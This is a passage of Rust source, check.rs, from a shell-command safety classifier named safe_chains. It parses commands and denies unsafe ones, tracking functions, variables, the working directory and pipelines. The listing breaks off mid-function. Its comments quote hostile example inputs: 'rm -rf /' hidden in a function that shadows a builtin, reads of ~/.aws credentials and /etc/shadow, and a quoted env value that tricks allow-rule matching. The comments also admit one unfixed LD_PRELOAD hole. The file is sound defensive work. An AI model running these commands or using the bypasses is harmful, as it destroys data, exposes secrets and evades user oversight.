Skip to main content

safe_chains/cst/
check.rs

1pub(super) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3pub(super) use super::scope_budget::scope_budget_spent;
4use super::scope_budget::{ScopeWalk, UNCERTAIN_VALUE, rebind_uncertain};
5use super::*;
6use crate::parse::Token;
7use crate::verdict::{SafetyLevel, Verdict};
8use crate::{handlers, pathctx::judging};
9
10pub fn command_verdict(input: &str) -> Verdict {
11    let Some(_guard) = ClassifyGuard::enter(input.len()) else {
12        return Verdict::Denied; // classification budget spent — fail closed
13    };
14    let Some(script) = parse(input) else {
15        return Verdict::Denied;
16    };
17    let verdict = script_verdict(&script);
18    if scope_budget_spent() {
19        return Verdict::Denied; // shell state untrackable within budget — fail closed
20    }
21    verdict
22}
23
24pub fn is_safe_command(input: &str) -> bool {
25    command_verdict(input).is_allowed()
26}
27
28thread_local! {
29    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
30    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
31    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
32    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
33        const { std::cell::RefCell::new(Vec::new()) };
34    /// Function names whose CURRENT body we cannot attribute — redefined inside a compound, where
35    /// the shell keeps the new body but we cannot say which one ran. `lookup_function` reports them
36    /// as unknown, so a call falls through to ordinary dispatch and denies (fail-closed) rather
37    /// than resolving to a stale, more permissive definition.
38    static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
39        const { std::cell::RefCell::new(Vec::new()) };
40    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
41    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
42    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
43}
44
45const MAX_FUNC_DEPTH: usize = 32;
46
47struct FuncScope;
48impl Drop for FuncScope {
49    fn drop(&mut self) {
50        FUNCTIONS.with(|f| {
51            f.borrow_mut().pop();
52        });
53    }
54}
55
56fn define_function(name: String, body: Script) -> FuncScope {
57    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
58    FuncScope
59}
60
61pub(super) fn lookup_function(name: &str) -> Option<Script> {
62    if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
63        return None; // body unknown — deny rather than use a stale one
64    }
65    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
66}
67
68/// Mark `name`'s body unknown for the rest of this evaluation. Not scoped by a guard: the shell's
69/// redefinition is not scoped either, and every classification starts with a fresh thread-local.
70pub(super) fn poison_function(name: String) {
71    POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
72}
73
74struct ResolveScope;
75impl Drop for ResolveScope {
76    fn drop(&mut self) {
77        RESOLVING.with(|r| {
78            r.borrow_mut().pop();
79        });
80    }
81}
82
83/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
84/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
85/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
86/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
87/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
88fn begin_resolving(name: &str) -> Option<ResolveScope> {
89    if !charge_classify_work(1) {
90        return None;
91    }
92    RESOLVING.with(|r| {
93        let mut stack = r.borrow_mut();
94        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
95            None
96        } else {
97            stack.push(name.to_string());
98            Some(ResolveScope)
99        }
100    })
101}
102
103pub(super) fn script_verdict(script: &Script) -> Verdict {
104    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
105        .into_iter()
106        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
107}
108
109/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
110/// installed, and return the per-statement results.
111///
112/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
113/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
114/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
115///
116/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
117/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
118/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
119/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
120pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
121    let _walk = ScopeWalk::enter();
122    let mut running = crate::pathctx::cwd();
123    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
124    let mut _funcs: Vec<FuncScope> = Vec::new();
125    let mut out = Vec::with_capacity(script.0.len());
126    for stmt in &script.0 {
127        out.push({
128            let _cwd = crate::pathctx::enter_cwd(running.clone());
129            per_stmt(stmt)
130        });
131        let effects = if scope_budget_spent() { ShellEffects::default() } else { shell_effects(&stmt.pipeline) };
132        let next = super::cd::cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
133        if next.is_some() {
134            running = next;
135        } else if effects.cwd {
136            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
137            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
138            // relative paths against a directory the shell has left.
139            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
140        }
141        for (name, value) in statement_assignments(&stmt.pipeline) {
142            _vars.push(crate::pathctx::enter_var(name, value));
143        }
144        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
145        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
146        // value wins for that name; a statement handled precisely contributes nothing here.
147        rebind_uncertain(effects.vars, &mut _vars);
148        for name in effects.funcs {
149            poison_function(name);
150        }
151        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
152            _funcs.push(define_function(name.clone(), body.clone()));
153        }
154    }
155    out
156}
157
158/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
159/// bound reports a possible effect, which fails closed.
160pub(super) const MAX_CD_SCAN_DEPTH: usize = 16;
161
162/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
163///
164/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
165/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
166/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
167/// precise handling matches only statement-level forms, so all of those escaped tracking:
168/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
169/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
170/// stale state is the permissive one.
171///
172/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
173/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
174#[derive(Default)]
175pub(super) struct ShellEffects {
176    pub(super) cwd: bool,
177    pub(super) vars: Vec<String>,
178    pub(super) funcs: Vec<String>,
179}
180
181/// The effects of one statement.
182fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
183    let mut out = ShellEffects::default();
184    // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
185    // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
186    // classifier's own work budget exists for. Caught by the termination guard.
187    let mut seen = Vec::new();
188    pipeline_effects(pipeline, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
189    out
190}
191
192/// A lone command's effects, or a pipeline's last stage's: zsh, and bash with `lastpipe`, run the
193/// last stage in the current shell, so `echo x | read f` may set `f`. A bare assignment or a
194/// definition there is an effect too, since `statement_assignments` binds only a lone one.
195fn pipeline_effects(pipeline: &Pipeline, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
196    let Some(last) = pipeline.commands.last() else { return };
197    if pipeline.commands.len() > 1 {
198        match last {
199            Cmd::Simple(s) if s.words.is_empty() => out.vars.extend(s.env.iter().map(|(name, _)| name.clone())),
200            Cmd::FunctionDef { name, .. } => out.funcs.push(name.clone()),
201            _ => {}
202        }
203    }
204    scan_effects(last, depth, seen, out);
205}
206
207fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
208    let Some(depth) = depth.checked_sub(1) else {
209        out.cwd = true; // out of budget — assume the worst
210        return;
211    };
212    match cmd {
213        Cmd::Simple(s) => {
214            let Some(name) = s.words.first().map(Word::eval) else {
215                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
216            };
217            out.vars.extend(super::opaque::declared_names(s));
218            if name == "cd" {
219                out.cwd = true;
220                return;
221            }
222            // A CALL runs the body in THIS shell, so its effects escape with it.
223            if seen.contains(&name) {
224                return;
225            }
226            if let Some(body) = lookup_function(&name) {
227                seen.push(name);
228                scan_script_effects(&body, depth, seen, out);
229            }
230        }
231        // The two constructs the shell really does isolate, plus forms that run nothing.
232        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
233        Cmd::BraceGroup { body, .. } => scan_script_effects(body, depth, seen, out),
234        Cmd::For { var, body, .. } => {
235            out.vars.push(var.clone());
236            scan_script_effects(body, depth, seen, out);
237        }
238        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
239            scan_script_effects(cond, depth, seen, out);
240            scan_script_effects(body, depth, seen, out);
241        }
242        Cmd::If { branches, else_body, .. } => {
243            for b in branches {
244                scan_script_effects(&b.cond, depth, seen, out);
245                scan_script_effects(&b.body, depth, seen, out);
246            }
247            if let Some(e) = else_body {
248                scan_script_effects(e, depth, seen, out);
249            }
250        }
251        Cmd::Case { arms, .. } => {
252            for a in arms {
253                scan_script_effects(&a.body, depth, seen, out);
254            }
255        }
256    }
257}
258
259/// Every statement of a body that the shell would run in the current shell: its assignments and
260/// function definitions rebind here, and its commands are scanned in turn.
261pub(super) fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
262    for st in &script.0 {
263        for (name, _) in statement_assignments(&st.pipeline) {
264            out.vars.push(name);
265        }
266        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
267            out.funcs.push(name.clone());
268        }
269        pipeline_effects(&st.pipeline, depth, seen, out);
270    }
271}
272
273/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
274/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
275/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
276/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
277fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
278    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
279        return Vec::new();
280    };
281    if !s.words.is_empty() {
282        return Vec::new();
283    }
284    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
285}
286
287/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
288/// `$refs` against the current scope first, then requires no residual `$` and no substitution
289/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
290fn certain_value(word: &Word) -> String {
291    let text = word.eval();
292    if crate::pathctx::names_a_loop_var(&text) {
293        return UNCERTAIN_VALUE.to_string();
294    }
295    let raw = crate::pathctx::expand_vars(&text, false).into_owned();
296    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
297    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
298    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
299    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
300}
301
302/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
303/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
304/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
305pub(crate) fn is_opaque_value(raw: &str) -> bool {
306    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
307        .iter()
308        .any(|m| raw.contains(m))
309}
310
311#[cfg(test)]
312pub(crate) fn is_safe_script(script: &Script) -> bool {
313    script_verdict(script).is_allowed()
314}
315
316pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
317    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
318    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
319    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
320    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
321    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
322    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
323    let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
324    for (stage, cmd) in pipeline.commands.iter().enumerate() {
325        let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
326        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
327        items = super::opaque::stage_shape(cmd, items);
328        stream = Some(stage_output_repr(cmd, stream.as_deref()));
329    }
330    acc
331}
332
333/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
334/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
335/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
336/// must deny in BOTH gate layers.
337const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
338
339/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
340/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
341/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
342/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
343pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
344    let Cmd::Simple(s) = cmd else {
345        return UNKNOWN_ITEM.to_string();
346    };
347    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
348    let Some(first) = words.first() else {
349        return UNKNOWN_ITEM.to_string();
350    };
351    let name = Token::from_raw(first.clone()).command_name().to_string();
352    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
353    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
354    match name.as_str() {
355        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
356        //
357        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on `source_ok`
358        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
359        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
360        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
361        // not be written, so a read-face test could never see it.
362        "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
363            let roots = find_roots(&args);
364            let base = roots
365                .iter()
366                .max_by_key(|r| {
367                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
368                    read.max(write)
369                })
370                .copied()
371                .unwrap_or(".");
372            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
373            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
374            // cat` refused while `find / -exec cat {} \;` read the same files.
375            //
376            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
377            // literal representative because the shield genuinely CAN check that one; the
378            // distinction is whether we hold the actual path or a placeholder for it.
379            crate::engine::resolve::locus::traversal_item(base)
380        }
381        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
382        "ls" => {
383            if args.contains(&"-d") {
384                worst_arg_repr(&args)
385            } else {
386                "sc_item".to_string()
387            }
388        }
389        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
390        "echo" | "printf" => worst_arg_repr(&args),
391        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
392        "git" => match args.first() {
393            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
394            _ => UNKNOWN_ITEM.to_string(),
395        },
396        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
397        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
398        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
399        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
400        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
401        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
402        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
403        "tee" => through(),
404        _ => UNKNOWN_ITEM.to_string(),
405    }
406}
407
408/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
409/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
410/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
411/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
412/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
413fn reads_a_file(args: &[&str]) -> bool {
414    args.iter()
415        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
416}
417
418/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
419/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
420fn reads_a_file_after_count(args: &[&str]) -> bool {
421    let mut i = 0;
422    while i < args.len() {
423        let a = args[i];
424        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
425            i += 2; // flag + its value
426            continue;
427        }
428        if a.starts_with('-') || a == "-" {
429            i += 1;
430            continue;
431        }
432        return true; // a bare positional → a file operand
433    }
434    false
435}
436
437/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
438/// a granted dir), so paths derived from it are safe operands.
439fn source_ok(path: &str) -> bool {
440    crate::engine::resolve::read_content_verdict(path).is_allowed()
441}
442
443/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
444/// whose read is denied, else a worktree placeholder.
445fn worst_arg_repr(args: &[&str]) -> String {
446    args.iter()
447        .filter(|a| !a.starts_with('-'))
448        .find(|a| !source_ok(a))
449        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
450}
451
452/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
453/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
454fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
455    let mut i = 0;
456    while i < args.len() {
457        match args[i] {
458            "-H" | "-L" | "-P" => i += 1,
459            "-D" | "-O" => i += 2,
460            _ => break,
461        }
462    }
463    let mut roots = Vec::new();
464    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
465        roots.push(args[i]);
466        i += 1;
467    }
468    if roots.is_empty() {
469        roots.push(".");
470    }
471    roots
472}
473
474pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
475    pipeline_verdict(pipeline).is_allowed()
476}
477
478pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
479    match cmd {
480        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
481        _ => true,
482    }
483}
484
485fn has_any_substitution(cmd: &SimpleCmd) -> bool {
486    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
487}
488
489/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
490///
491/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
492/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
493/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
494/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
495/// matcher, and quietly redundant here.
496///
497/// The rule must describe the command as TYPED. That is not a judgement about which variable names
498/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
499/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
500/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
501///
502/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
503/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
504/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
505/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
506/// nothing".
507///
508/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
509/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
510/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
511/// the rest of a pattern lets a rule for one program match a different one —
512/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
513/// only honest answer; the alternative is a rule that silently covers a program it never named.
514///
515/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
516/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
517/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
518/// the program is the first word either way.
519pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
520    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
521    for (name, value) in &cmd.env {
522        let value = value.eval();
523        if value.chars().any(char::is_whitespace) {
524            return None;
525        }
526        parts.push(format!("{name}={value}"));
527    }
528    parts.extend(cmd.words.iter().map(|w| w.eval()));
529    Some(parts.join(" "))
530}
531
532pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
533    match cmd {
534        Cmd::Simple(s) => simple_verdict(s),
535        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
536            let body_v = script_verdict(body);
537            if let Verdict::Denied = body_v {
538                return Verdict::Denied;
539            }
540            let redir_v = redirect_verdict(redirs);
541            if let Verdict::Denied = redir_v {
542                return Verdict::Denied;
543            }
544            body_v.combine(redir_v)
545        }
546        Cmd::For { var, items, body, redirs } => super::loops::for_verdict(var, items, body, redirs),
547        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => super::loops::while_verdict(cond, body, redirs),
548        Cmd::If { branches, else_body, redirs } => {
549            let redir_v = redirect_verdict(redirs);
550            if let Verdict::Denied = redir_v {
551                return Verdict::Denied;
552            }
553            let mut v = redir_v;
554            for b in branches {
555                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
556            }
557            if let Some(eb) = else_body {
558                v = v.combine(script_verdict(eb));
559            }
560            v
561        }
562        Cmd::DoubleBracket { words, redirs } => words_sub_verdict(words).combine(redirect_verdict(redirs)),
563        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
564        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
565        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
566        Cmd::Case { subject, arms, redirs } => {
567            let redir_v = redirect_verdict(redirs);
568            if let Verdict::Denied = redir_v {
569                return Verdict::Denied;
570            }
571            let mut v = redir_v.combine(word_sub_verdict(subject));
572            for arm in arms {
573                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
574            }
575            v
576        }
577        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
578        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
579        // definition never denies on its body.
580        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
581    }
582}
583
584pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
585    cmd_verdict(cmd).is_allowed()
586}
587
588fn part_sub_verdict(part: &WordPart) -> Verdict {
589    match part {
590        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
591        WordPart::Backtick(raw) => command_verdict(raw),
592        WordPart::DQuote(inner) => word_sub_verdict(inner),
593        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
594        WordPart::Arith(inner) => word_sub_verdict(inner),
595        _ => Verdict::Allowed(SafetyLevel::Inert),
596    }
597}
598
599fn word_sub_verdict(word: &Word) -> Verdict {
600    word.0.iter().map(part_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
601}
602
603pub(super) fn words_sub_verdict(words: &[Word]) -> Verdict {
604    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
605}
606
607#[cfg(test)]
608pub(crate) fn word_subs_safe(word: &Word) -> bool {
609    word_sub_verdict(word).is_allowed()
610}
611
612fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
613    let redir_v = redirect_verdict(&cmd.redirs);
614    if let Verdict::Denied = redir_v {
615        return Verdict::Denied;
616    }
617
618    let env_sub_v = cmd
619        .env
620        .iter()
621        .map(|(_, v)| word_sub_verdict(v))
622        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
623    let word_sub_v = words_sub_verdict(&cmd.words);
624
625    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
626    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
627    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
628    //
629    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
630    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
631    // invocation is a write even when the command word is inert. Propagating only `Denied` here
632    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
633    // spelled `touch ./x` did not.
634    let env_name_v = cmd
635        .env
636        .iter()
637        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
638        .fold(crate::envvars::rebinding_verdict(&cmd.words), Verdict::combine);
639    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
640
641    if let Verdict::Denied = sub_v {
642        return Verdict::Denied;
643    }
644
645    if cmd.words.is_empty() {
646        if cmd.env.is_empty() {
647            return Verdict::Allowed(SafetyLevel::Inert);
648        }
649        return sub_v.combine(redir_v);
650    }
651
652    let name = cmd.words[0].eval();
653
654    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
655    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
656    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
657    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
658    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
659    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
660    // run the real `ls` for the rebound name, a bypass.
661    if let Some(body) = lookup_function(&name) {
662        let Some(_resolving) = begin_resolving(&name) else {
663            return Verdict::Denied;
664        };
665        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
666            .iter()
667            .enumerate()
668            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
669            .collect();
670        return sub_v.combine(super::netargs::with_args(cmd, || script_verdict(&body))).combine(redir_v);
671    }
672
673    if name == "eval" {
674        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
675    }
676
677    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
678    // would run is classified — a braced word must not hide a system path from the gate.
679    let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
680    if words.iter().all(Vec::is_empty) {
681        return Verdict::Allowed(SafetyLevel::Inert);
682    }
683    if super::opaque::smuggles_a_flag(cmd) {
684        return Verdict::Denied;
685    }
686
687    let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
688    sub_v.combine(cmd_v).combine(redir_v)
689}
690
691/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
692/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
693/// no opt-out — the engine is the default and only path.
694fn leaf_verdict(tokens: &[Token]) -> Verdict {
695    let legacy = handlers::dispatch(tokens);
696    super::netargs::with_egress(tokens, crate::engine::bridge::gated_engine_verdict(tokens).unwrap_or(legacy))
697}
698
699fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
700    if cmd.words.len() < 2 {
701        return Verdict::Denied;
702    }
703    for arg in &cmd.words[1..] {
704        if !arg_is_eval_safe(arg) {
705            return Verdict::Denied;
706        }
707    }
708    Verdict::Allowed(SafetyLevel::Inert)
709}
710
711fn arg_is_eval_safe(word: &Word) -> bool {
712    let mut found_safe = false;
713    for part in &word.0 {
714        match part {
715            WordPart::Lit(s) | WordPart::SQuote(s) => {
716                if !s.chars().all(char::is_whitespace) {
717                    return false;
718                }
719            }
720            WordPart::Escape(c) => {
721                if !c.is_whitespace() {
722                    return false;
723                }
724            }
725            WordPart::CmdSub(script) => {
726                if !script_yields_eval_safe(script) {
727                    return false;
728                }
729                found_safe = true;
730            }
731            WordPart::Backtick(raw) => {
732                let Some(script) = parse(raw) else {
733                    return false;
734                };
